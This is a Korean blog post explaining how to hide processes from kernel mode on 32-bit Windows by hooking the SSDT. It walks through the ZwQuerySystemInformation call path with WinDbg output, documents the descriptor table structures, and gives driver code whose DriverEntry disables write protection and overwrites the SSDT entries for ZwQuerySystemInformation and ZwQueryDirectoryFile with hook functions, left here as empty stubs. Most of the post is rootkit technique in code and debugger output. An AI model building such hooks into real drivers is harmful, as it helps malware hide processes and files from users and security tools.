프로세스 은닉을 커널모드에서 구현하기 위해 SSDT(System Service Dispatch Table) Hook을 이용해 보겠습니다. 프로세스 정보와 관련된 시스템 함수는 ntdll.dll의ZwQuerySystemInformation() 입니다. 먼저 유저레벨 ZwQuerySystemInformation() 부터 커널레벨 진입점 sysenter 를 지나서 SDT를 참조하는 KiFastCallEntry 까지 따라가 봅니다.
ntdll!NtQuerySystemInformation:
7c93d910 b8ad000000 mov eax,0ADh
7c93d915 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c93d91a ff12 call dword ptr [edx]
7c93d91c c21000 ret 10h
0:001> dd 7ffe0300
7ffe0300 7c93e4f0 7c93e4f4 00000000 00000000
7ffe0310 00000000 00000000 00000000 00000000
7ffe0320 00000000 00000000 00000000 00000000
7ffe0330 88be7aa1 00000000 00000000 00000000
7ffe0340 00000000 00000000 00000000 00000000
7ffe0350 00000000 00000000 00000000 00000000
7ffe0360 00000000 00000000 00000000 00000000
7ffe0370 00000000 00000000 00000000 00000000
0:001> uf 7c93e4f0
ntdll!KiFastSystemCall:
7c93e4f0 8bd4 mov edx,esp
7c93e4f2 0f34 sysenter
7c93e4f4 c3 ret
kd> rdmsr 0x176
msr[176] = 00000000`804de6f0
kd> u 804de6f0
nt!KiFastCallEntry:
804de6f0 b923000000 mov ecx,23h
804de6f5 6a30 push 30h
804de6f7 0fa1 pop fs
804de6f9 8ed9 mov ds,cx
804de6fb 8ec1 mov es,cx
804de6fd 8b0d40f0dfff mov ecx,dword ptr ds:[0FFDFF040h]
804de703 8b6104 mov esp,dword ptr [ecx+4]
804de706 6a23 push 23h
- SDT(Service Descriptor Table) : SDE를 멤버변수로 가지는 구조체
- SDE(Service Descriptor Entry) : Native API 정보를 담은 구조체
- SSDT(System Service Dispatch Table) : 함수 실행을 위한 서비스 인덱스 번호 테이블, KiServiceTable
typedef struct ServiceDescriptorTable {
SDE ServiceDescriptor[4];
} SDT;
typedef struct ServiceDescriptorTable { // 위의 SDT 구조체 멤버변수(SDE)를 풀어 놓은 것 입니다
SDE ntoskrnl; // native api 테이블
SDE win32k; // GUI 서브시스템 테이블
SDE reserved[2]; // Reserved 영역
} SDT;
typedef struct ServiceDescriptorEntry {
PDWORD KiServiceTable; // 함수 테이블(SSDT), KiServiceTable
PDWORD CounterTableBase; // 함수 호출 횟수테이블, 디버그 버전에서만 사용됨
DWORD ServiceLimit; // 함수 갯수
PBYTE ArgumentTable; // 함수 인자크기 테이블
} SDE; // KeServiceDescriptorTable
일반적인 스레드는 (SDT구조체의)ntoskrnl->KeServiceDescriptorTable 만을 참조하고, GUI 스레드는 (SDT 구조체의)win32k->KeServiceDescriptorTableShadow 를 함께 참조합니다.
ntoskrnl의 KeServiceDescriptorTable을 참조하여 SSDT를 찾고 ZwQuerySystemInformation 함수가 호출되는 주소를 따라가 봅니다.
8055a220 804e26a8 00000000 0000011c 80510088
8055a230 00000000 00000000 00000000 00000000
8055a240 00000000 00000000 00000000 00000000
8055a250 00000000 00000000 00000000 00000000
8055a260 00002730 bf80c349 00000000 00000000
8055a270 f8a11a80 f828db60 82259a90 82259a90
8055a280 00000000 00000000 00000000 00000000
8055a290 d4de7a40 01cacc3a 00000000 00000000
kd> dd KiServiceTable
804e26a8 8058fdf3 805756d8 80588d69 8059112e
804e26b8 8058ee53 806380ec 8063a27d 8063a2c6
804e26c8 80573bfe 806490bb 806378a7 8058e471
804e26d8 8062f9e8 8057a76f 80589cf8 8062694d
804e26e8 805dd3c1 80569153 805d975f 805a24ca
804e26f8 804e2cb4 806490cf 805c9b16 804ecfac
804e2708 805697ff 80567a6d 8058e8df 8064e9b0
804e2718 8058aae8 80590b3b 8064ec1d 80588dbb
kd> dd 804e26a8 + 0xAD * 4
804e295c 8057d062 805911b8 805885d6 805853d7
804e296c 8056a382 80570a2c 8056f843 80591089
804e297c 804e203a 8064814b 80576471 805da827
804e298c 8058a899 8057f0a0 8057c4c7 8056647b
804e299c 805892ce 80566f99 8065b316 8064e812
804e29ac 8064f16e 8057e103 8056b9be 8056b4d6
804e29bc 8062331e 8062c13b 805dd5ec 8056da20
804e29cc 8062bf34 8059eb88 8053bbf2 8064ed05
kd> u 8057d062
nt!NtQuerySystemInformation:
8057d062 6810020000 push 210h
8057d067 6840a44e80 push offset nt!ExTraceAllTables+0x1eb (804ea440)
8057d06c e8ca53f6ff call nt!_SEH_prolog (804e243b)
8057d071 33c0 xor eax,eax
8057d073 8945e4 mov dword ptr [ebp-1Ch],eax
8057d076 8945dc mov dword ptr [ebp-24h],eax
8057d079 8945fc mov dword ptr [ebp-4],eax
8057d07c 64a124010000 mov eax,dword ptr fs:[00000124h]
ZwQuerySystemInformation를 호출하면 커널모드로 진입하여 nt!NtQuerySystemInformation로 흘러들어오게 됩니다. SSDT의 nt!NtQuerySystemInformation 주소가 기록된 번지(804e26a8 + 0xAD * 4)에 공격자가 작성한 코드주소를 덮어쓰면 원하는 목적을 달성할 수 있습니다.
* Hook Code 선언부
typedef struct ServiceDescriptorEntry { // SDE(Service DescriptorTable Entry) 구조체 선언
unsigned int *ServiceTableBase; // 함수 테이블(SSDT)
unsigned int *ServiceCounterTableBase; // 함수 호출 횟수테이블, 디버그 버전에서만 사용됨
unsigned int NumberOfServices; // 함수 갯수
unsigned char *ParamTableBase; // 함수 인자크기 테이블
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack() // 구조체의 멤버변수 저장크기를 디폴드로 복원
// SSDT(System Service Descriptor Table) IMPORT => ntoskrnl.exe 에서 EXPORT 한다
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime; // 커널모드에서 실행된 총시간 (100ns)
LARGE_INTEGER UserTime; // 유저모드에서 실행된 총시간 (100ns)
LARGE_INTEGER CreateTime; // 생성시각
ULONG WaitTime; // 스레드 대기시각
PVOID StartAddress; // 스레드 시작주소
CLIENT_ID ClientIs; //
KPRIORITY Priority; //
KPRIORITY BasePriority; //
ULONG ContextSwitchCount; //
ULONG ThreadState; //
KWAIT_REASON WaitReason; //
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; // 다음 SYSTEMPROCESS 주소의 오프셋
ULONG ThreadCount; // 스레드 갯수
ULONG Reserved[6]; // Reserved
LARGE_INTEGER CreateTime; // 생성시각
LARGE_INTEGER UserTime; // 유저모드에서 실행된 총시간 (100ns)
LARGE_INTEGER KernelTime; // 커널모드에서 실행된 총시간 (100ns)
UNICODE_STRING ProcessName; // 프로세스 이름
KPRIORITY BasePriority; // 권한정보
ULONG ProcessId; // 프로세스 ID
ULONG InheritedFromProcessId; // 부모 프로세스 ID
ULONG HandleCount; // 핸들 갯수
ULONG Reserved2[2]; // Reserved
VM_COUNTERS VmCounters; // 프로세스가 사용하는 가상메모리 상태를 저장
IO_COUNTERS IoCounters; // 프로세스가 실행한 IO 카운터 (windows 2000 only)
struct _SYSTEM_THREADS Threads[1]; // 프로세스 스레드리스트 (SYSTEM_THREAD 구조체로 관리)
};
NTSTATUS // 리턴타입
NTAPI // NTAPI ntdef.h 에서 STDCALL로 정의
ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
VOID ClearCr_WP(VOID){}
VOID SetCr_WP(VOID){}
* 드라이버 로드 && 언로드 루틴
{
// WriteProtection 해제
ClearCr_WP();
InterlockedExchange((LONG *)Syscall_Ptr(ZwQueryDirectoryFile), (LONG)OldZwQueryDirectoryFile);
InterlockedExchange((LONG *)Syscall_Ptr(ZwQuerySystemInformation), (LONG)OldZwQuerySystemInformation);
SetCr_WP();
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)
{
theDriverObject->DriverUnload = OnUnload;
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)Syscall_Ptr(ZwQueryDirectoryFile);
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)Syscall_Ptr(ZwQuerySystemInformation);
ClearCr_WP();
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)InterlockedExchange((LONG *)Syscall_Ptr(ZwQueryDirectoryFile), (LONG)NewZwQueryDirectoryFile);
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)InterlockedExchange((LONG *)Syscall_Ptr(ZwQuerySystemInformation),(LONG)NewZwQuerySystemInformation);
SetCr_WP();
}
'language > Driver' 카테고리의 다른 글
드라이버 MajorFunction (0) | 2013.04.17 |
---|---|
레퍼런스 카운트와 USB 플러그 앤 플레이 (0) | 2013.02.21 |
NT api? (0) | 2013.02.20 |
DriverEntry - 드라이버 시작점 부터 디버깅 하기 (0) | 2012.11.01 |